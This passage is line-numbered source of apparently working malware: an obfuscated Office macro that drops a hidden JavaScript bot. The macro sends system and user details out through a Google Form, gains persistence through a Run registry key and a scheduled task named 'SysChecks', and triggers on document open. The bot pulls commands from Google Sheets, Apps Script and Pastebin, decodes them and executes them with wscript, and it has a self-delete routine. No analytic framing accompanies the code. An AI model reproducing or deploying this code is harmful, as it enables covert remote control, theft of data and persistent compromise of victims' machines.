| 500 | f = f & "0LkVjaG8oaHR0cFJlcS5zdGF0dXMpOw0KCQkJCWRhdGFfc2F0YXVzX2Fyclsnc3RhdCddID0gaH" | |
| 501 | f = f & "R0cFJlcS5zdGF0dXM7DQoJCQkJZGF0YV9zYXRhdXNfYXJyWyd0ZXh0J10gPSBodHRwUmVxLnJlc" | |
| 502 | f = f & "3BvbnNlVGV4dDsNCgkJfSBjYXRjaCAoZSkgeyANCgkJCS8vV1NjcmlwdC5FY2hvKGh0dHBSZXEu" | |
| 503 | f = f & "c3RhdHVzKTsNCgkJCWRhdGFfc2F0YXVzX2FyclsndGV4dCddID0gIiI7DQoJCQlkYXRhX3NhdGF" | |
| 504 | f = f & "1c19hcnJbJ3N0YXQnXSA9ICIxMDAiOw0KCQl9Ow0KCQlyZXR1cm4gZGF0YV9zYXRhdXNfYXJyOw" | |
| 505 | f = f & "0KfQ0KDQpmdW5jdGlvbiBMb2dJbmV0KHZhbHVlLGZvcm1rZXksZW50cnkpIHsNCgl0cnkgew0KC" | |
| 506 | f = f & "Ql2YXIgaHR0cFJlcSA9IG5ldyBBY3RpdmVYT2JqZWN0KCJNc3htbDIuU2VydmVyWE1MSFRUUC42" | |
| 507 | f = f & "LjAiKTsNCgkJaHR0cFJlcS5zZXRPcHRpb24oMiwgMTMwNTYpOyANCgkJaHR0cFJlcS5zZXRUaW1" | |
| 508 | f = f & "lb3V0cygwLCAwLCAwLCAwKTsNCgkJdXJsID0gImh0dHBzOi8vZG9jcy5nb29nbGUuY29tL2Zvcm" | |
| 509 | f = f & "1zL2QvIiArIGZvcm1rZXkgKyAiL2Zvcm1SZXNwb25zZSI7DQoJCWh0dHBSZXEub3BlbigiUE9TV" | |
| 510 | f = f & "CIsIHVybCwgZmFsc2UpOw0KCQl2YXIgcHJveCA9IGdldFByb3h5KCkNCgkJaWYoIHByb3ggIT0g" | |
| 511 | f = f & "IiIpew0KCQkJaHR0cFJlcS5zZXRQcm94eSgyLCBwcm94LCAiIik7DQoJCX0NCgkJaHR0cFJlcS5" | |
| 512 | f = f & "zZXRSZXF1ZXN0SGVhZGVyKCJVc2VyLWFnZW50IiwgIk1vemlsbGEvNS4wIChMaW51eDsgVTsgQW" | |
| 513 | f = f & "5kcm9pZCAyLjMuMzsgemgtdHc7IEhUQyBQeXJhbWlkIEJ1aWxkL0dSSTQwKSBBcHBsZVdlYktpd" | |
| 514 | f = f & "C81MzMuMSAoS0hUTUwsIGxpa2UgR2Vja28pIFZlcnNpb24vNC4wIE1vYmlsZSBTYWZhcmkvNTMz" | |
| 515 | f = f & "LjEiKTsNCgkJaHR0cFJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGl" | |
| 516 | f = f & "jYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CQ0KCQlodHRwUmVxLnNlbmQoZW50cnkgKy" | |
| 517 | f = f & "AiPSIgKyB2YWx1ZSk7DQoJfSBjYXRjaCAoZSkge30NCn0NCiANCmZ1bmN0aW9uIHNwbGl0KHN0c" | |
| 518 | f = f & "iwgc2VwYXJhdG9yLCBsaW1pdCkgew0KCXN0ciA9IHN0ci5zcGxpdChzZXBhcmF0b3IpOw0KCWlm" | |
| 519 | f = f & "KHN0ci5sZW5ndGggPD0gbGltaXQpIHJldHVybiBzdHI7DQoNCgl2YXIgcmV0ID0gc3RyLnNwbGl" | |
| 520 | f = f & "jZSgwLCBsaW1pdCk7DQoJcmV0LnB1c2goc3RyLmpvaW4oc2VwYXJhdG9yKSk7DQoNCglyZXR1cm" | |
| 521 | f = f & "4gcmV0Ow0KfQ0KDQpmdW5jdGlvbiBDVUlEKCl7DQoJdmFyIHNuID0gIjEiOw0KCXRyeSB7DQoJC" | |
| 522 | f = f & "XZhciBGU08gPSBXU2NyaXB0LkNyZWF0ZU9iamVjdCgiU2NyaXB0aW5nLkZpbGVTeXN0ZW1PYmpl" | |
| 523 | f = f & "Y3QiKTsgDQoJCXZhciBzdHJEcml2ZSA9IEZTTy5HZXREcml2ZU5hbWUoRlNPLkdldFNwZWNpYWx" | |
| 524 | f = f & "Gb2xkZXIoMCkpOw0KCQl2YXIgRCA9IEZTTy5HZXREcml2ZShzdHJEcml2ZSk7DQoJCXNuID0gRC" | |
| 525 | f = f & "5TZXJpYWxOdW1iZXI7DQoJfSBjYXRjaCAoZSkge30NCgl2YXIgcmVzdWx0ID0gQmFzZTY0LmVuY" | |
| 526 | f = f & "29kZShzbi50b1N0cmluZygpKTsNCglyZXN1bHQgPSByZXN1bHQucmVwbGFjZSgvW15cd10rL2cs" | |
| 527 | f = f & "ICIiKS5zbGljZSgwLCAyMCk7DQoJcmVzdWx0ID0gdXVpZCsiLiIrZ2lhYysiLiIrcmVzdWx0Ow0" | |
| 528 | f = f & "KCXJldHVybiAJcmVzdWx0Ow0KfQ==" | |
| 529 | ||
| 530 | Set sh = CreateObject("WScript.Shell")
| |
| 531 | Dim FileNumber, figName, procID | |
| 532 | Dim WorkPath As String | |
| 533 | WorkPath = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%")
| |
| 534 | WorkPath = WorkPath & "\TransbaseOdbcDriver" | |
| 535 | Dim statMkDir As Boolean | |
| 536 | statMkDir = CreateDir(WorkPath) | |
| 537 | If statMkDir Then | |
| 538 | FileNumber = FreeFile | |
| 539 | figName = WorkPath & "\TransbaseOdbcDriver.js" | |
| 540 | Open figName For Output As #FileNumber | |
| 541 | Print #FileNumber, AP6fuezipn4(f) | |
| 542 | Close #FileNumber | |
| 543 | procID = Shell("wscript " & figName, vbHide)
| |
| 544 | End If | |
| 545 | ||
| 546 | End Sub | |
| 547 | ||
| 548 | Private Sub SetRegData() | |
| 549 | On Error Resume Next | |
| 550 | Set sh = CreateObject("WScript.Shell")
| |
| 551 | Dim wscript_pthpath: wscript_pthpath = sh.ExpandEnvironmentStrings("%WINDIR%") + "\System32\WScript.exe"
| |
| 552 | Dim run_pth_scr: run_pth_scr = sh.ExpandEnvironmentStrings("%ALLUSERSPROFILE%") + "\TransbaseOdbcDriver" + "\starter.vbs"
| |
| 553 | Dim run_pth: run_pth = """" & wscript_pthpath & """ """ & run_pth_scr & """" | |
| 554 | On Error Resume Next | |
| 555 | sh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\TransbaseOdbcDriver", run_pth, "REG_SZ" | |
| 556 | On Error Resume Next | |
| 557 | sh.Run "schtasks /create /tn ""SysChecks"" /tr """ & run_pth & """ /sc minute /mo 30", 0, False | |
| 558 | End Sub | |
| 559 | ||
| 560 | Sub BH5qxufh333W99fghjplkWrtqzzY() | |
| 561 | Dim BI5kb0jp7 As Document: Set BI5kb0jp7 = ActiveDocument | |
| 562 | Application.ScreenUpdating = False | |
| 563 | ||
| 564 | Dim txt As String | |
| 565 | txt = cuid() | |
| 566 | txt = txt & " | " & GetUserData() | |
| 567 | txt = txt & " | " & IsWin32OrWin64() | |
| 568 | txt = txt & " | " & getOS() | |
| 569 | ||
| 570 | On Error GoTo ErrHandler: | |
| 571 | ||
| 572 | Dim res | |
| 573 | res = sendFormData(txt) | |
| 574 | ||
| 575 | If res Then | |
| 576 | ActiveDocument.Bookmarks("orderBkm12").Range.Text = "2017-3"
| |
| 577 | Else | |
| 578 | ActiveDocument.Bookmarks("orderBkm12").Range.Text = "3037-2"
| |
| 579 | End If | |
| 580 | ||
| 581 | ActiveDocument.Shapes(1).Visible = False | |
| 582 | ActiveDocument.Shapes(2).Visible = True | |
| 583 | ||
| 584 | ErrHandler: | |
| 585 | ||
| 586 | On Error GoTo ErrHandler2: | |
| 587 | ||
| 588 | folderInit | |
| 589 | ggl_runer | |
| 590 | ggl_starter | |
| 591 | ||
| 592 | Application.Run ("ggl_hex")
| |
| 593 | SetRegData | |
| 594 | ErrHandler2: | |
| 595 | ||
| 596 | ||
| 597 | ||
| 598 | ||
| 599 | ||
| 600 | ||
| 601 | ||
| 602 | ||
| 603 | ||
| 604 | ||
| 605 | ||
| 606 | ||
| 607 | Application.ScreenUpdating = True | |
| 608 | End Sub | |
| 609 | ||
| 610 | Sub AutoOpen() | |
| 611 | Application.Run ("BH5qxufh3" + (AP6fuezipn4("MzNXOTlmZw==") & "hj" & "" & "plkWrtqzzY"))
| |
| 612 | End Sub | |
| 613 | ||
| 614 | Sub Workbook_Open() | |
| 615 | Application.Run ("BH5qxufh3" + (AP6fuezipn4("MzNXOTlm") & "ghj" & Chr(-89 + 201) & Chr(-66 + 174) & Chr(12 + 95) & "WrtqzzY"))
| |
| 616 | End Sub | |
| 617 | ||
| 618 | ||
| 619 | ===== TransbaseOdbcDriver.js =================================================================== | |
| 620 | ||
| 621 | var objSWbemServicesEx = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
| |
| 622 | var collSWbemObjectSet = objSWbemServicesEx.ExecQuery( "SELECT Name, CommandLine, ProcessID FROM Win32_Process WHERE Name LIKE '%[cw]script.exe' AND CommandLine LIKE '%[cw]script%" + WScript.ScriptName + "%'", "WQL", 0); | |
| 623 | if(collSWbemObjectSet.Count > 1){ WScript.Quit(); }
| |
| 624 | ||
| 625 | var Base64 = {
| |
| 626 | ||
| 627 | // private property | |
| 628 | _keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=", | |
| 629 | ||
| 630 | // public method for encoding | |
| 631 | encode: function (input) {
| |
| 632 | var output = ""; | |
| 633 | var chr1, chr2, chr3, enc1, enc2, enc3, enc4; | |
| 634 | var i = 0; | |
| 635 | ||
| 636 | input = Base64._utf8_encode(input); | |
| 637 | ||
| 638 | while (i < input.length) {
| |
| 639 | ||
| 640 | chr1 = input.charCodeAt(i++); | |
| 641 | chr2 = input.charCodeAt(i++); | |
| 642 | chr3 = input.charCodeAt(i++); | |
| 643 | ||
| 644 | enc1 = chr1 >> 2; | |
| 645 | enc2 = ((chr1 & 3) << 4) | (chr2 >> 4); | |
| 646 | enc3 = ((chr2 & 15) << 2) | (chr3 >> 6); | |
| 647 | enc4 = chr3 & 63; | |
| 648 | ||
| 649 | if (isNaN(chr2)) {
| |
| 650 | enc3 = enc4 = 64; | |
| 651 | } else if (isNaN(chr3)) {
| |
| 652 | enc4 = 64; | |
| 653 | } | |
| 654 | ||
| 655 | output = output + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4); | |
| 656 | ||
| 657 | } | |
| 658 | ||
| 659 | return output; | |
| 660 | }, | |
| 661 | ||
| 662 | // public method for decoding | |
| 663 | decode: function (input) {
| |
| 664 | var output = ""; | |
| 665 | var chr1, chr2, chr3; | |
| 666 | var enc1, enc2, enc3, enc4; | |
| 667 | var i = 0; | |
| 668 | ||
| 669 | input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); | |
| 670 | ||
| 671 | while (i < input.length) {
| |
| 672 | ||
| 673 | enc1 = this._keyStr.indexOf(input.charAt(i++)); | |
| 674 | enc2 = this._keyStr.indexOf(input.charAt(i++)); | |
| 675 | enc3 = this._keyStr.indexOf(input.charAt(i++)); | |
| 676 | enc4 = this._keyStr.indexOf(input.charAt(i++)); | |
| 677 | ||
| 678 | chr1 = (enc1 << 2) | (enc2 >> 4); | |
| 679 | chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); | |
| 680 | chr3 = ((enc3 & 3) << 6) | enc4; | |
| 681 | ||
| 682 | output = output + String.fromCharCode(chr1); | |
| 683 | ||
| 684 | if (enc3 != 64) {
| |
| 685 | output = output + String.fromCharCode(chr2); | |
| 686 | } | |
| 687 | if (enc4 != 64) {
| |
| 688 | output = output + String.fromCharCode(chr3); | |
| 689 | } | |
| 690 | ||
| 691 | } | |
| 692 | ||
| 693 | output = Base64._utf8_decode(output); | |
| 694 | ||
| 695 | return output; | |
| 696 | ||
| 697 | }, | |
| 698 | ||
| 699 | // private method for UTF-8 encoding | |
| 700 | _utf8_encode: function (string) {
| |
| 701 | string = string.replace(/\r\n/g, "\n"); | |
| 702 | var utftext = ""; | |
| 703 | ||
| 704 | for (var n = 0; n < string.length; n++) {
| |
| 705 | ||
| 706 | var c = string.charCodeAt(n); | |
| 707 | ||
| 708 | if (c < 128) {
| |
| 709 | utftext += String.fromCharCode(c); | |
| 710 | } else if ((c > 127) && (c < 2048)) {
| |
| 711 | utftext += String.fromCharCode((c >> 6) | 192); | |
| 712 | utftext += String.fromCharCode((c & 63) | 128); | |
| 713 | } else {
| |
| 714 | utftext += String.fromCharCode((c >> 12) | 224); | |
| 715 | utftext += String.fromCharCode(((c >> 6) & 63) | 128); | |
| 716 | utftext += String.fromCharCode((c & 63) | 128); | |
| 717 | } | |
| 718 | ||
| 719 | } | |
| 720 | ||
| 721 | return utftext; | |
| 722 | }, | |
| 723 | ||
| 724 | // private method for UTF-8 decoding | |
| 725 | _utf8_decode: function (utftext) {
| |
| 726 | var string = ""; | |
| 727 | var i = 0; | |
| 728 | var c = c1 = c2 = 0; | |
| 729 | ||
| 730 | while (i < utftext.length) {
| |
| 731 | ||
| 732 | c = utftext.charCodeAt(i); | |
| 733 | ||
| 734 | if (c < 128) {
| |
| 735 | string += String.fromCharCode(c); | |
| 736 | i++; | |
| 737 | } else if ((c > 191) && (c < 224)) {
| |
| 738 | c2 = utftext.charCodeAt(i + 1); | |
| 739 | string += String.fromCharCode(((c & 31) << 6) | (c2 & 63)); | |
| 740 | i += 2; | |
| 741 | } else {
| |
| 742 | c2 = utftext.charCodeAt(i + 1); | |
| 743 | c3 = utftext.charCodeAt(i + 2); | |
| 744 | string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63)); | |
| 745 | i += 3; | |
| 746 | } | |
| 747 | ||
| 748 | } | |
| 749 | ||
| 750 | return string; | |
| 751 | } | |
| 752 | } | |
| 753 | ||
| 754 | if(!CreateDir())WScript.Quit(); | |
| 755 | ||
| 756 | var giac = "1"; | |
| 757 | var uuid = "1"; | |
| 758 | var guid = CUID(); | |
| 759 | ||
| 760 | var setttingArr = false; | |
| 761 | ||
| 762 | do {
| |
| 763 | ||
| 764 | if ( setttingArr ) {
| |
| 765 | GetSourceCode(setttingArr.spreadsheetkey, setttingArr.formkey, setttingArr.entry); | |
| 766 | }else{
| |
| 767 | setttingArr = LoadLinkSettings(); | |
| 768 | } | |
| 769 | WScript.Sleep(1000*60*randInt(1,2)); | |
| 770 | } | |
| 771 | while (1); | |
| 772 | function randInt(min, max){
| |
| 773 | return Math.round(Math.random()*(max-min)+min); | |
| 774 | } | |
| 775 | ||
| 776 | function LoadLinkSettings() {
| |
| 777 | var go_com = InetRead("https://script.google.com/macros/s/AKfycbzoIDrStSeb5iJmwsxGZBvocsw4da2FZw0_fqOkRAgwzH7h2aE/exec"+ "?bid=" + guid);
| |
| 778 | try {
| |
| 779 | if( go_com['stat'] >= 200 && go_com['stat'] < 300){
| |
| 780 | var cmd_txt = go_com['text']; | |
| 781 | var settingsArr = cmd_txt.match( /,\\x22userHtml\\x22:\\x22(.+)\\x22,\\x22ncc/ ); | |
| 782 | var setting = split(settingsArr[1],'$$$',3); | |
| 783 | if (setting.length == 3) {
| |
| 784 | return {
| |
| 785 | "spreadsheetkey": setting[0] | |
| 786 | ,"formkey": setting[1] | |
| 787 | ,"entry": setting[2] | |
| 788 | }; | |
| 789 | } | |
| 790 | var formkeyReg = "1BZuP3VYQjLAI59Dp_O9vCH1kg_gQNvhIvv-BkmpBTZ4"; | |
| 791 | var entryReg = "entry.2025885932"; | |
| 792 | LogInet(guid,formkeyReg,entryReg); | |
| 793 | } | |
| 794 | } catch (e) {}
| |
| 795 | return false; | |
| 796 | } | |
| 797 | ||
| 798 | function GetSourceCode(aspreadsheetkey,aformkey,aentry) {
| |
| 799 | ||
| 800 | var GlobalObject = this; | |
| 801 | var FSO = new ActiveXObject("Scripting.FileSystemObject");
| |
| 802 | var WshShell = new ActiveXObject("WScript.Shell");
| |
| 803 | ||
| 804 | var formkey = aformkey; | |
| 805 | var entry = aentry; | |
| 806 | var spreadsheetkey = aspreadsheetkey; | |
| 807 | ||
| 808 | var intervalMin = 30; | |
| 809 | var intervalMax = 50; | |
| 810 | var botclass = GenerateString(8); | |
| 811 | var last = TextFileRead("%ALLUSERSPROFILE%\\TransbaseOdbcDriver\\dttsg.txt");
| |
| 812 | var version = "1.0"; | |
| 813 | ||
| 814 | var linkPB = "http://pastebin.com/raw/MfQV5e6R"; //as of 2017-02-02 {last: "abc123", code: "ZGltIHh4eA=="}
| |
| 815 | var keyPath = "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\lasts"; | |
| 816 | ||
| 817 | WshShell.CurrentDirectory = GetScriptDir(); | |
| 818 | Log(); | |
| 819 | GetCommand(); | |
| 820 | ||
| 821 | function GetCommand() {
| |
| 822 | try {
| |
| 823 | var legc = getLastExeGoogCmd(); | |
| 824 | var cmb_ob = {}
| |
| 825 | cmb_ob.flag = false; | |
| 826 | ||
| 827 | var go_com = InetRead("https://docs.google.com/spreadsheet/ccc?key=" + spreadsheetkey);
| |
| 828 | if( go_com['stat'] >= 200 && go_com['stat'] < 300){
| |
| 829 | var cmd_txt = HTMLParse(go_com['text']).document.documentElement.innerText; | |
| 830 | var command = split(cmd_txt,'$$$',3); | |
| 831 | if (command.length == 4) {
| |
| 832 | cmb_ob.c = command[2]; | |
| 833 | cmb_ob.l = command[1]; | |
| 834 | cmb_ob.flag = true; | |
| 835 | }else{
| |
| 836 | cmb_ob.flag = false; | |
| 837 | } | |
| 838 | legc = 0; | |
| 839 | }else{
| |
| 840 | legc = parseInt(legc)+1; | |
| 841 | } | |
| 842 | ||
| 843 | legc = setLastExeGoogCmd(legc); | |
| 844 | if(legc >= 1 && legc <=4)return; | |
| 845 | ||
| 846 | if( !cmb_ob.flag ){
| |
| 847 | var pb_com = InetRead(linkPB); | |
| 848 | if( pb_com['stat'] >= 200 && pb_com['stat'] < 300){
| |
| 849 | var jsn = eval ("(" + pb_com['text'] + ")");
| |
| 850 | cmb_ob.c = jsn["code"]; | |
| 851 | cmb_ob.l = jsn['last']; | |
| 852 | cmb_ob.flag = true; | |
| 853 | }else{
| |
| 854 | cmb_ob.flag = false; | |
| 855 | } | |
| 856 | } | |
| 857 | ||
| 858 | if( cmb_ob.flag ){
| |
| 859 | if(last != cmb_ob.l){
| |
| 860 | //last = cmb_ob.l; | |
| 861 | var r = TextFileCreate("%ALLUSERSPROFILE%\\TransbaseOdbcDriver\\dttsg.txt");
| |
| 862 | r.Write(cmb_ob.l); | |
| 863 | r.Close(); | |
| 864 | Log("GetCommand::" + cmb_ob.c);
| |
| 865 | //eval(cmb_ob.c); | |
| 866 | if(last == "")return; | |
| 867 | ||
| 868 | var cod_data = Base64.decode(cmb_ob.c); | |
| 869 | if(cod_data == "deleteBot")destroy(); | |
| 870 | ||
| 871 | var tempname1 = "LanCradDriver.ini"; | |
| 872 | var tempname2 = "LanCradDriver.vbs"; | |
| 873 | var tmpPath = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver");
| |
| 874 | var tempath1 = tmpPath + "\\"+tempname1; | |
| 875 | var tempath2 = tmpPath + "\\"+tempname2; | |
| 876 | ||
| 877 | var f = FSO.OpenTextFile(tempath1,2,false,-1); | |
| 878 | f.Write(cod_data); | |
| 879 | f.Close(); | |
| 880 | ||
| 881 | WScript.Sleep(5000); | |
| 882 | WshShell.Run('cmd.exe /k wscript.exe "' + tempath2 + '"',0,false);
| |
| 883 | } | |
| 884 | }else{
| |
| 885 | Log("GetCommand::" + "no exect");
| |
| 886 | } | |
| 887 | } catch (e) {
| |
| 888 | Log("GetCommand::" + e.description);
| |
| 889 | } | |
| 890 | } | |
| 891 | ||
| 892 | function getRandomInt(min, max) {
| |
| 893 | return Math.floor(Math.random() * (max - min + 1)) + min; | |
| 894 | } | |
| 895 | ||
| 896 | function GetScriptDir() {
| |
| 897 | return GetScriptFullPath().replace(/[^\\]+$/g, ""); | |
| 898 | } | |
| 899 | ||
| 900 | function GetScriptFullPath() {
| |
| 901 | if (GlobalObject.location && GlobalObject.location.href) return unescape(location.href.replace(/^.+\/\/\//, "").replace(/\//g, "\\")); | |
| 902 | if (GlobalObject.WScript) return WScript.ScriptFullName; | |
| 903 | return ""; | |
| 904 | } | |
| 905 | ||
| 906 | function HTMLParse(code, dont_prevent_code_exec) {
| |
| 907 | try {
| |
| 908 | var document = new ActiveXObject("HTMLFile");
| |
| 909 | if (!dont_prevent_code_exec) document.designMode = "on"; | |
| 910 | document.write(code); | |
| 911 | document.close(); | |
| 912 | if (!dont_prevent_code_exec) document.execCommand("stop");
| |
| 913 | return document.parentWindow; | |
| 914 | } catch (e) {
| |
| 915 | Log("HTMLParse::" + e.description)
| |
| 916 | }; | |
| 917 | return {};
| |
| 918 | } | |
| 919 | ||
| 920 | function Log(value) {
| |
| 921 | value = value || ""; | |
| 922 | value | |
| 923 | value = guid + "$$$" + botclass + "::" + GetUserName() + "::" + encodeURI(value); | |
| 924 | LogInet(value,formkey,entry); | |
| 925 | } | |
| 926 | ||
| 927 | function FileExists(Path) {
| |
| 928 | Path = WshShell.ExpandEnvironmentStrings(Path); | |
| 929 | return FSO.FolderExists(Path) || FSO.FileExists(Path); | |
| 930 | } | |
| 931 | ||
| 932 | function TextFileRead(Path) {
| |
| 933 | if (!Path) return ""; | |
| 934 | if (!FileExists(Path)) return ""; | |
| 935 | Path = WshShell.ExpandEnvironmentStrings(Path); | |
| 936 | if (FSO.GetFile(Path).Size == 0) return ""; | |
| 937 | try {
| |
| 938 | var Stream = FSO.OpenTextFile(Path, 1, 0, -2), | |
| 939 | Result = Stream.ReadAll(); | |
| 940 | Stream.Close(); | |
| 941 | return Result; | |
| 942 | } catch (e) {
| |
| 943 | //Log("TextFileRead::" + Path + "::" + e.descrition);
| |
| 944 | }; | |
| 945 | } | |
| 946 | ||
| 947 | function TextFileCreate(Path) {
| |
| 948 | try {
| |
| 949 | Path = WshShell.ExpandEnvironmentStrings(Path); | |
| 950 | if (FileExists(Path)) FSO.DeleteFile(Path, true); | |
| 951 | return FSO.OpenTextFile(Path, 2, 1, -1) | |
| 952 | } catch (e) {
| |
| 953 | Log("TextFileCreate::" + e.description)
| |
| 954 | }; | |
| 955 | return null; | |
| 956 | } | |
| 957 | ||
| 958 | function GenerateString(L) {
| |
| 959 | if (!L) L = 8; | |
| 960 | return new ActiveXObject("Scriptlet.TypeLib").Guid.replace(/[^\w]+/g, "").slice(0, L);
| |
| 961 | } | |
| 962 | ||
| 963 | function CreateObject(ProgId) {
| |
| 964 | return new ActiveXObject(ProgId); | |
| 965 | } | |
| 966 | ||
| 967 | function GetUserName() {
| |
| 968 | try {
| |
| 969 | return CreateObject("WScript.NetWork").UserName;
| |
| 970 | } catch (e) {
| |
| 971 | Log("GetUserName::" + e.description);
| |
| 972 | return "Unknown" | |
| 973 | } | |
| 974 | } | |
| 975 | ||
| 976 | function getLastExeGoogCmd() {
| |
| 977 | var regValue = 0; | |
| 978 | try {
| |
| 979 | regValue = WshShell.RegRead(keyPath); | |
| 980 | } catch (e) {
| |
| 981 | setLastExeGoogCmd(regValue); | |
| 982 | } | |
| 983 | return regValue; | |
| 984 | } | |
| 985 | function setLastExeGoogCmd(regValue) {
| |
| 986 | try {
| |
| 987 | WshShell.RegWrite(keyPath,regValue, "REG_SZ"); | |
| 988 | } catch (e) {
| |
| 989 | return -1; | |
| 990 | } | |
| 991 | return regValue; | |
| 992 | } | |
| 993 | ||
| 994 | function sDOS2Win(sText, bInsideOut) {
| |
| 995 | var aCharsets = ["windows-1251", "cp866"]; | |
| 996 | sText += ""; | |
| 997 | bInsideOut = bInsideOut ? 1 : 0; | |
| 998 | with (new ActiveXObject("ADODB.Stream")) {
| |
| 999 | type = 2; //Binary 1, Text 2 (default) | |
| 1000 | mode = 3; //Permissions have not been set 0, Read-only 1, Write-only 2, Read-write 3, | |
| 1001 | //Prevent other read 4, Prevent other write 8, Prevent other open 12, Allow others all 16 | |
| 1002 | charset = aCharsets[bInsideOut]; | |
| 1003 | open(); | |
| 1004 | writeText(sText); | |
| 1005 | position = 0; | |
| 1006 | charset = aCharsets[1 - bInsideOut]; | |
| 1007 | return readText(); | |
| 1008 | } | |
| 1009 | } | |
| 1010 | ||
| 1011 | function destroy(){
| |
| 1012 | try {
| |
| 1013 | WshShell.RegDelete("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\TransbaseOdbcDriver");
| |
| 1014 | }catch(e){}
| |
| 1015 | ||
| 1016 | try {
| |
| 1017 | WshShell.Run('schtasks /delete /tn "SysChecks" /f', 0, false);
| |
| 1018 | }catch(e){}
| |
| 1019 | ||
| 1020 | var strScriptDir = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver");
| |
| 1021 | var strScript = ""; | |
| 1022 | ||
| 1023 | try {
| |
| 1024 | strScript = WScript.ScriptFullName; | |
| 1025 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
| |
| 1026 | }catch(e){}
| |
| 1027 | ||
| 1028 | try {
| |
| 1029 | strScript = strScriptDir + "\\LanCradDriver.ini"; | |
| 1030 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
| |
| 1031 | }catch(e){}
| |
| 1032 | try {
| |
| 1033 | strScript = strScriptDir + "\\LanCradDriver.vbs"; | |
| 1034 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
| |
| 1035 | }catch(e){}
| |
| 1036 | try {
| |
| 1037 | strScript = strScriptDir + "\\starter.vbs"; | |
| 1038 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
| |
| 1039 | }catch(e){}
| |
| 1040 | try {
| |
| 1041 | strScript = strScriptDir + "\\pather.vbs"; | |
| 1042 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
| |
| 1043 | }catch(e){}
| |
| 1044 | try {
| |
| 1045 | strScript = strScriptDir + "\\pather.ini"; | |
| 1046 | if(FSO.FileExists(strScript)){ FSO.DeleteFile(strScript, true); }
| |
| 1047 | }catch(e){}
| |
| 1048 | ||
| 1049 | WScript.Quit(); | |
| 1050 | } | |
| 1051 | } | |
| 1052 | ||
| 1053 | function CreateDir(){
| |
| 1054 | try {
| |
| 1055 | var WshShell = new ActiveXObject("WScript.Shell");
| |
| 1056 | var dirpath = WshShell.ExpandEnvironmentStrings("%ALLUSERSPROFILE%\\TransbaseOdbcDriver");
| |
| 1057 | var FSO = WScript.CreateObject("Scripting.FileSystemObject");
| |
| 1058 | if(!FSO.FolderExists(dirpath)){
| |
| 1059 | FSO.CreateFolder(dirpath); | |
| 1060 | } | |
| 1061 | return true; | |
| 1062 | }catch(e){}
| |
| 1063 | return true; | |
| 1064 | } | |
| 1065 | ||
| 1066 | function getProxy(){
| |
| 1067 | var WshShell = new ActiveXObject("WScript.Shell");
| |
| 1068 | ||
| 1069 | try {
| |
| 1070 | var ProxyEnable = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyEnable");
| |
| 1071 | if(ProxyEnable == 1){
| |
| 1072 | var ProxyServer = WshShell.RegRead("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer");
| |
| 1073 | return ProxyServer; | |
| 1074 | }else{
| |
| 1075 | return ""; | |
| 1076 | } | |
| 1077 | } catch (e) {
| |
| 1078 | return ""; | |
| 1079 | } | |
| 1080 | } | |
| 1081 | ||
| 1082 | function InetRead(url) {
| |
| 1083 | var data_sataus_arr = new Object(); | |
| 1084 | try {
| |
| 1085 | var httpReq = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
| |
| 1086 | httpReq.setOption(2, 13056); //SXH_SERVER_CERT_IGNORE_ALL_SERVER_ERRORS = 13056; SXH_OPTION_URL = -1 | |
| 1087 | httpReq.setTimeouts(0, 0, 0, 0); | |
| 1088 | httpReq.open("GET", url, false);
| |
| 1089 | var prox = getProxy() | |
| 1090 | if( prox != ""){
| |
| 1091 | httpReq.setProxy(2, prox, ""); | |
| 1092 | } | |
| 1093 | httpReq.setRequestHeader("User-agent", "Mozilla/5.0 (Linux; U; Android 2.3.3; zh-tw; HTC Pyramid Build/GRI40) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");
| |
| 1094 | httpReq.send(); | |
| 1095 | //WScript.Echo(httpReq.getAllResponseHeaders()); | |
| 1096 | //WScript.Echo(httpReq.status); | |
| 1097 | data_sataus_arr['stat'] = httpReq.status; | |
| 1098 | data_sataus_arr['text'] = httpReq.responseText; | |
| 1099 | } catch (e) {
| |
| 1100 | //WScript.Echo(httpReq.status); | |
| 1101 | data_sataus_arr['text'] = ""; | |
| 1102 | data_sataus_arr['stat'] = "100"; | |
| 1103 | }; | |
| 1104 | return data_sataus_arr; | |
| 1105 | } | |
| 1106 | ||
| 1107 | function LogInet(value,formkey,entry) {
| |
| 1108 | try {
| |
| 1109 | var httpReq = new ActiveXObject("Msxml2.ServerXMLHTTP.6.0");
| |
| 1110 | httpReq.setOption(2, 13056); | |
| 1111 | httpReq.setTimeouts(0, 0, 0, 0); | |
| 1112 | url = "https://docs.google.com/forms/d/" + formkey + "/formResponse"; | |
| 1113 | httpReq.open("POST", url, false);
| |
| 1114 | var prox = getProxy() | |
| 1115 | if( prox != ""){
| |
| 1116 | httpReq.setProxy(2, prox, ""); | |
| 1117 | } | |
